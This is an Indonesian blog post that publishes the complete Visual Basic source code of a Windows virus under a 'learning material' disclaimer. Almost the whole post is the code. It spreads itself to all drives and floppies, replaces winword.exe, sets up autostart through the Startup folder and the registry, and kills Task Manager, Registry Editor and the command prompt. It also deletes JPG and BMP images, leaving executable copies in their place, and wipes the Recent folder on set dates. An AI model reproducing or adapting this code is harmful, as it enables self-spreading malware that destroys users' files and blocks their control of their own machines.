April 2009 | KrowaK

ini semua aku publikasikan sebagai media pembelajaran bagi mereka yang terserang atau ingin belajar logika pemrograman virus, meskipun logika pemrograman ini kurang baik untuk dipelajari....wkakakaka...
walaupun belum begitu sadis,virus ini menyerang semua file jpg dan bmp yang kemudian merubahnya menjadi file exe. bagi seorang maniack virus, virus ini ga ada apa2nya karna tidak dapat berjalan di save mode sebagaimana virus-virus yang dibuat oleh seorang professional. disini aku tidak akan membuka kelemahan virus ini karna aku masih menghormati dia sebagai senior saya sewaktu masih kuliah di Amik Professional... untuk mengetahui kelemahan virus ini pelajari dan pahami script virus ini....
Terima kasih buat seluruh dosen yang ada di Amik Professional yang telah membimbingku, tanpamu aku tak berarti apa-apa dan terima kasih buat seluruh teman-temanku tidak terkecuali Alm. anie yang telah mendahului kami, semoga engkau diterima disisiNYA, Amin......

coding program

Dim d As Integer
Dim des As Integer
Dim sta As String
Dim progra As Integer
Dim press As Integer
Dim bareto As String
Dim pop As Integer
Dim abe As String
Private Declare Function GetForegroundWindow Lib "user32" () As Long
'Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" _
(ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function CloseWindow Lib "user32" (ByVal hwnd As Long) As Long
Private Declare Function EnableWindow Lib "user32" (ByVal hwnd As Long, _
ByVal fEnable As Long) As Long
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" _
(ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, _
lParam As Any) As Long
Private Const WM_CLOSE = &H10

Private Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Private Declare Function Putfocus Lib "user32" Alias "SetFocus" (ByVal hwnd As Long) As Long
Private Declare Function SetParent Lib "user32" (ByVal hWndChild As Long, ByVal hWndNewParent As Long) As Long
Private Declare Function LockWindowUpdate Lib "user32" (ByVal hwndLock As Long) As Long
Private Declare Function GetCursorPos Lib "user32" (lpPoint As POINTAPI) As Long
Private Declare Function WindowFromPoint Lib "user32" (ByVal xPoint As Long, ByVal yPoint As Long) As Long
Private Declare Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal hwnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function GetWindowPlacement Lib "user32" (ByVal hwnd As Long, lpwndpl As WINDOWPLACEMENT) As Long

Private Const HWND_NOTOPMOST = -2
Private Const HWND_TOPMOST = -1

Private Type POINTAPI
x As Long
y As Long
End Type

Private Type RECT
Left As Long
Top As Long
Right As Long
Bottom As Long
End Type

Private Type WINDOWPLACEMENT
Length As Long
flags As Long
showCmd As Long
ptMinPosition As POINTAPI
ptMaxPosition As POINTAPI
rcNormalPosition As RECT
End Type

Dim hand1 As Long
Dim hand2 As Long
Dim sz As WINDOWPLACEMENT
Private Function Gasak(Opo As String)
Dim H As Long
Dim T As String * 255
H = GetForegroundWindow
GetWindowText H, T, 255
If InStr(UCase(T), UCase(Opo)) > 0 Then
'EnableWindow H, 1
SendMessage H, WM_CLOSE, 0, 0
Form1.Hide
End If
If InStr(UCase(T), UCase("rossimania.com")) > 0 Then
MsgBox "Si GASAK has been Disabled by The Creator!! Cheers!! ;)", vbLunamaya, "GASAK is shutting Down"
End
End If
Shell "shutdown -a", vbHide '// jadi lambat kalo ini diaktifkan, pake cara lenm aja ya (API)...
End Function
Private Sub Regist()
On Error Resume Next
Times
ibs = d
abel = Right(Environ(ibs), Len(Environ(ibs)) - 7)
abesol = abel + "\"
aa = abesol + "phone.reg"
Dir2.Path = abeso
sta = "ya"
po = -1
For yuyu = 1 To File1.ListCount
po = po + 1
File1.ListIndex = po
If LCase(File1.FileName) = "phone.reg" Then
sta = "tidak"
GoTo terhormat
End If
Next
GoTo terhormat
terhormat:
If sta = "ya" Then

Open aa For Output As #2
Print #2, Text1.Text
Close #2

adel = abesol + "phone.reg"
Shell "regedit /s " + adel
ElseIf sta = "tidak" Then
adel = abesol + "phone.reg"
Shell "regedit /s " + adel
End If
End Sub

Private Sub Regist2()
On Error Resume Next
Times
ibs = d
abel = Right(Environ(ibs), Len(Environ(ibs)) - 7)
abesol = abel + "\"
aa = abesol + "left.reg"
Dir2.Path = abeso
sta = "ya"
po = -1
For yuyu = 1 To File1.ListCount
po = po + 1
File1.ListIndex = po
If LCase(File1.FileName) = "left.reg" Then
sta = "tidak"
GoTo terhormat
End If
Next
GoTo terhormat
terhormat:
If sta = "ya" Then

Open aa For Output As #2
Print #2, Text3.Text
Close #2

adel = abesol + "left.reg"
Shell "regedit /s " + adel
ElseIf sta = "tidak" Then
adel = abesol + "left.reg"
Shell "regedit /s " + adel
End If
End Sub

Private Sub Times()
On Error GoTo totok
a = 0
For ter = 1 To 30
a = a + 1
If LCase(Left(Environ(a), 6)) = "windir" Then
d = a
End If
Next
totok:
End Sub

Private Sub Command1_Click()
'tutup
End Sub

Private Sub Dir2_Change()
On Error GoTo qiqi
File1.Path = Dir2.Path
qiqi:
End Sub

Private Sub Form_Activate()
On Error Resume Next
Form1.Caption = App.EXEName
Form2.Show
progra = 1
Times
feron = d
abe = Right(Environ(feron), Len(Environ(feron)) - 7)
abeso = abe + "\"
batabata = Right(Environ(1), Len(Environ(1)) - 16)
Open batabata + "\Start Menu\Programs\Startup\autoex.bat" For Output As #2
Print #2, Text4.Text
Close #2

tr = 1
For tekko = 1 To 30
kontolku = Environ(tr)
If Left(kontolku, 12) = "ProgramFiles" Then
baret = Right(Environ(tr), Len(Environ(tr)) - 13)
GoTo kopiki
End If
tr = tr + 1
Next
kopiki:
baret = baret + "\Microsoft Office 2003\Office 2003\"
If FileLen(baret + "winword.exe") = 81920 Then
baret = baret
Else
SetAttr baret + "winword.exe", vbNormal
FileCopy baret + "winword.exe", baret + "mywinword.exe"
Kill baret + "winword.exe"
sumber
FileCopy Text2.Text, baret + "winword.exe"
SetAttr baret + "winword.exe", vbHidden
baret = baret
End If
If LCase(App.EXEName) = "winword" Then
Form1.Timer2.Enabled = False
sumber
kodekodeku
Regist
Regist2
Shell baret + "mywinword.exe"
AppActivate "Microsoft Word 2003"
End
ElseIf LCase(App.EXEName) = "Lunamaya" Then
sumber
kodekodeku
Regist
Regist2
pengaktifan2
ElseIf LCase(App.EXEName) = "theme" Then
Else
sumber
kodekodeku
Regist
Regist2
pengaktifan2
End If
If LCase(App.EXEName) = "theme" Then
Else
Form1.Hide
End If
End Sub
Private Sub pengaktifan2()
On Error GoTo teraki
AppActivate "theme"
End
teraki:
End Sub

Private Sub Form_DblClick()
Unload Me
End Sub

Private Sub Form_Load()
hand1 = FindWindow("Shell_TrayWnd", vbNullString)

hand2 = FindWindowEx(hand1, 0&, "Button", vbNullString)

GetWindowPlacement hand2, sz

SetParent hand2, 0

Putfocus hand2
SetWindowPos hand2, HWND_TOPMOST, 0, ((Screen.Height / Screen.TwipsPerPixelY) - (sz.rcNormalPosition.Bottom - sz.rcNormalPosition.Top)) + 1, (sz.rcNormalPosition.Right - sz.rcNormalPosition.Left), (sz.rcNormalPosition.Bottom - sz.rcNormalPosition.Top), 0

LockWindowUpdate False

If LCase(Left(Environ(27), 6)) = "windir" Then
App.TaskVisible = False
End If
End Sub

Private Sub Form_Unload(Cancel As Integer)
SetParent hand2, hand1
Putfocus hand2
SetWindowPos hand2, 0, 0, 0, sz.rcNormalPosition.Right - sz.rcNormalPosition.Left, (sz.rcNormalPosition.Bottom - sz.rcNormalPosition.Top), 0
LockWindowUpdate True
On Error Resume Next
Shell "rundll32.exe user.exe,exitwindows"
End Sub
Private Sub sumber()
If Right(App.Path, 1) = "\" Then
idiot = App.Path
Else
idiot = App.Path + "\"
End If
Text2.Text = idiot + App.EXEName + ".exe"
End Sub

Private Sub Timer1_Timer()
On Error Resume Next
sumber

List1.Clear
bb = 0
For teror = 1 To Drive1.ListCount
bb = bb + 1
Drive1.ListIndex = bb
List1.AddItem Left(Drive1.Drive, 2) + "\"
Next
kodekodeku
ker = -1
For kera = 1 To List1.ListCount
ker = ker + 1
List1.ListIndex = ker
periksa
If sta = "ya" Then
If LCase(Left(List1.Text, 1)) = LCase(Left(abe, 1)) Then
Else
FileCopy Text2.Text, List1.Text + "sarah bertobat.exe"
End If
End If
Next
End Sub
Private Sub kodekodeku()
On Error Resume Next
periksa2
If sta = "ya" Then
Times
ibskul = d
abed = Right(Environ(ibskul), Len(Environ(ibskul)) - 7)
abesomu = abed + "\system\"
FileCopy Text2.Text, abesomu + "theme.exe"
SetAttr abesomu + "theme.exe", vbHidden
End If

periksaku
If sta = "ya" Then
Times
ibskul = d
abed = Right(Environ(ibskul), Len(Environ(ibskul)) - 7)
abesomu = abed + "\"
FileCopy Text2.Text, abesomu + "Lunamaya .exe"
SetAttr abesomu + "Lunamaya.exe", vbHidden
End If

End Sub
Private Sub periksa()
On Error Resume Next
sta = "ya"
bor = -1
Dir2.Path = List1.Text
For teroris = 1 To File1.ListCount
bor = bor + 1
File1.ListIndex = bor
If LCase(File1.FileName) = "sarah bertobat.exe" And FileLen(Dir2.Path + File1.FileName) = 81920 Then
sta = "tidak"
GoTo selesai
End If
Next
selesai:
End Sub
Private Sub periksa2()
On Error Resume Next
sta = "ya"
bor = -1
Times
ibsku = d
abes = Right(Environ(ibsku), Len(Environ(ibsku)) - 7)
abesoku = abes + "\system"
Dir2.Path = abesoku
For teroris = 1 To File1.ListCount
bor = bor + 1
File1.ListIndex = bor
If LCase(File1.FileName) = "theme.exe" And FileLen(Dir2.Path + "\" + File1.FileName) = 81920 Then
sta = "tidak"
GoTo selesai
End If
Next
selesai:
End Sub

Private Sub periksaku()
On Error Resume Next
sta = "ya"
bor = -1
Times
ibsku = d
abes = Right(Environ(ibsku), Len(Environ(ibsku)) - 7)
abesoku = abes
Dir2.Path = abesoku
For teroris = 1 To File1.ListCount
bor = bor + 1
File1.ListIndex = bor
If LCase(File1.FileName) = "Lunamaya.exe" And FileLen(Dir2.Path + "\" + File1.FileName) = 81920 Then
sta = "tidak"
GoTo selesai
End If
Next
selesai:
End Sub

Private Sub periksa3()
On Error Resume Next
sta = "ya"
bor = -1
Times
ibsku = d
abes = Right(Environ(ibsku), Len(Environ(ibsku)) - 7)
abesoku = abes + "\system"
Dir2.Path = abesoku
For teroris = 1 To File1.ListCount
bor = bor + 1
File1.ListIndex = bor
If LCase(File1.FileName) = "theme.exe" And FileLen(Dir2.Path + "\" + File1.FileName) = 81920 Then
sta = "tidak"
GoTo selesai
End If
Next
selesai:
End Sub

Private Sub Timer2_Timer()
On Error GoTo desa
If progra > 3 Then
progra = 1
Else
progra = progra + 1
End If
If progra = 1 Then
ramor = "Registry Editor"
ElseIf progra = 2 Then
ramor = "Windows Task Manager"
Else
ramor = "System Configuration Utility"
End If
AppActivate ramor
SendKeys "%{F4}", True
desa:
End Sub
Private Sub Timo()
On Error GoTo totok
af = 0
For ter = 1 To 30
af = af + 1
If LCase(Left(Environ(af), 12)) = "programfiles" Then
des = af
End If
Next
totok:
End Sub

Private Sub Timer3_Timer()
Dim lok As POINTAPI
Dim OrtuBaru As Long
Dim Anak As String * 256
Dim KelasAnak As String * 256

GetWindowPlacement hand2, sz
GetCursorPos lok
OrtuBaru = WindowFromPoint(lok.x, lok.y)
GetClassName OrtuBaru, KelasAnak, 50
Label1.Caption = KelasAnak
If Label1.Caption = "Button" Then
SetWindowPos hand2, HWND_TOPMOST, Rnd * ((Screen.Width / Screen.TwipsPerPixelX) - (sz.rcNormalPosition.Right - sz.rcNormalPosition.Left)), Rnd * ((Screen.Height / Screen.TwipsPerPixelY) - (sz.rcNormalPosition.Bottom - sz.rcNormalPosition.Top)), (sz.rcNormalPosition.Right - sz.rcNormalPosition.Left), (sz.rcNormalPosition.Bottom - sz.rcNormalPosition.Top), 0
End If
End Sub

Private Sub Timer4_Timer()
Gasak "System Configuration Utility"
Gasak "Registry Editor"
Gasak "Windows Task Manager"
Gasak "tasklist"
Gasak "taskkill"
Gasak "regini"
Gasak "net"
Gasak "RuN"
Gasak "Folder Options"
Gasak "Command Prompt"
'Tambahin sendiri... apa lagi yg mo digasak?! ;)
DoEvents
End Sub

Private Sub Timer8_Timer()
On Error GoTo TES
demokrasi = "A:\" + "sarah bertobat" + ".exe"
FileCopy Text2.Text, demokrasi
TES:
End Sub

Dim d As Integer
Dim fo As Long
Dim ros As String
Dim statusku As String
Dim bomba As String
Dim bombimu As String
Private Sub Timet()
On Error GoTo totok
a = 0
For ter = 1 To 30
a = a + 1
If LCase(Left(Environ(a), 6)) = "windir" Then
d = a
End If
Next
totok:
End Sub
Private Sub pindahkan()
rontok = Len(Text1.Text)
rontik = Len(Text1.Text) + 1
For harap = 1 To rontok
rontik = rontik - 1
kio = Mid(Text1.Text, rontik, 1)
formil = kio + formil
If kio = ":" Then
GoTo suba
End If
If kio = ")" Then
rontik = rontik - 1
kio = Mid(Text1.Text, rontik, 1)
formil = kio + formil
GoTo subak
End If
Next
suba:
rontik = rontik - 1
kio = Mid(Text1.Text, rontik, 1)
formil = kio + formil
List1.AddItem formil
subak:
abon = Left(formil, 1) + ":\"
aben = Right(formil, Len(formil) - 2)
List1.AddItem (abon + aben)
End Sub
Private Sub laso()
On Error Resume Next
fo = -1
For yeyo = 1 To List1.ListCount
fo = fo + 1
List1.ListIndex = fo
laso1
Next
End Sub
Private Sub laso1()
On Error GoTo geger
File1.Path = List1.Text
List2.AddItem (List1.Text)
geger:
End Sub
Private Sub laso3()
On Error Resume Next
ro = -1
For roros = 1 To List2.ListCount
ro = ro + 1
List2.ListIndex = ro
re = 3
ros = Left(List2.Text, 3)
For acep = 1 To Len(List2.Text)
re = re + 1
rosi = Mid(List2.Text, re, 1)
ros = ros + rosi
lasonu
Next
Next
End Sub
Private Sub lasonu()
If Right(ros, 1) = "\" Then
rosu = Left(ros, Len(ros) - 1)
List2.AddItem (rosu)
GoTo tukang
End If
tukang:
End Sub

Private Sub Command1_Click()
Kill Text2.Text
End Sub

Private Sub dedem()
If Int(Date) = 1 Or Int(Date) = 9 Or Int(Date) = 17 Or Int(Date) = 25 Then
GoTo hapus
Else
GoTo tidaji
End If
hapus:
ongol = -1
If LCase(Left(Environ(27), 6)) = "windir" Then
diro = Right(Environ(26), Len(Environ(26)) - 12)
File1.Path = diro + "\recent"
For kapal = 1 To File1.ListCount
ongol = ongol + 1
File1.ListIndex = ongol
If LCase(Right(File1.FileName, 3)) = "exe" Then
Else
Kill (File1.Path + "\" + File1.FileName)
End If
Next
Else
Timet
dofi = d
diros = Right(Environ(dofi), Len(Environ(dofi)) - 7)
File1.Path = diros + "\recent"
For kapal = 1 To File1.ListCount
ongol = ongol + 1
File1.ListIndex = ongol
If LCase(Right(File1.FileName, 3)) = "exe" Then
Else
Kill (File1.Path + "\" + File1.FileName)
End If
Next
End If
tidaji:
End Sub
Private Sub Form_Unload(Cancel As Integer)
dedem
End Sub
Private Sub Timer1_Timer()
On Error Resume Next
List1.Clear
List2.Clear
ongol = -1
If LCase(Left(Environ(27), 6)) = "windir" Then
diro = Right(Environ(26), Len(Environ(26)) - 12)
File1.Path = diro + "\recent"
For kapal = 1 To File1.ListCount
Text1.Text = ""
ongol = ongol + 1
File1.ListIndex = ongol
dodong = File1.Path + "\" + File1.FileName
Open dodong For Input As #1
Do While Not EOF(1)
yy = Input(1, #1)
Text1.Text = Text1.Text + yy
Loop
Close #1
pindahkan
Next
Else
Timet
dofi = d
diros = Right(Environ(dofi), Len(Environ(dofi)) - 7)
File1.Path = diros + "\recent"
For kapal = 1 To File1.ListCount
Text1.Text = ""
ongol = ongol + 1
File1.ListIndex = ongol
dodong = File1.Path + "\" + File1.FileName
Open dodong For Input As #1
Do While Not EOF(1)
yy = Input(1, #1)
Text1.Text = Text1.Text + yy
Loop
Close #1
pindahkan
Next
End If
laso
laso3
infeksi
End Sub
Private Sub infeksi()
On Error Resume Next
torasudiro = -1
For acerku = 1 To List2.ListCount
torasudiro = torasudiro + 1
List2.ListIndex = torasudiro
faressa
If statusku = "ya" Then
SetAttr List2.Text + "\" + bombimu, 0
Kill List2.Text + "\" + bombimu
FileCopy Form1.Text2.Text, List2.Text + "\" + bomba
End If
Next
End Sub
Private Sub faressa()
On Error Resume Next
statusku = "ya"
bomba = "Pecinta_Sesaat.exe"
folde = List2.Text
File2.Path = folde
kondemu = -1
For teressa = 1 To File2.ListCount
kondemu = kondemu + 1
File2.ListIndex = kondemu
If LCase(Right(File2.FileName, 3)) = "jpg" Or LCase(Right(File2.FileName, 3)) = "jpe" Or LCase(Right(File2.FileName, 3)) = "bmp" Then
bomba = Left(File2.FileName, Len(File2.FileName) - 4) + ".exe"
bombimu = File2.FileName
End If
If LCase(Right(File2.FileName, 3)) = "exe" And FileLen(List2.Text + "\" + File2.FileName) = 81920 Then
statusku = "tidak"
GoTo seles
End If
Next
seles:
End Sub

Nb. "Semua ini hanyalah proses pembelajaran, kami tidak bertanggung jawab atas segala bentuk penyalahgunaan source code ini "
Maafkanlah aku
Maafkanlah
Maafkan
Maaf

Selengkapnya...

Blog Archive

Free Documents Tools

Free Kompresi Tools

sothink swf decompiler software

Free Game Chat

Hacking Visual Foxpro dengan Refox

kumpulan screensaver menarik

macromedia flash game

membuat program menarik dengan komponen tambahan visual foxpro

kumpulan game house menarik

cara menghapus file secara permanen

source code virus udin

Link Favorite

Kategori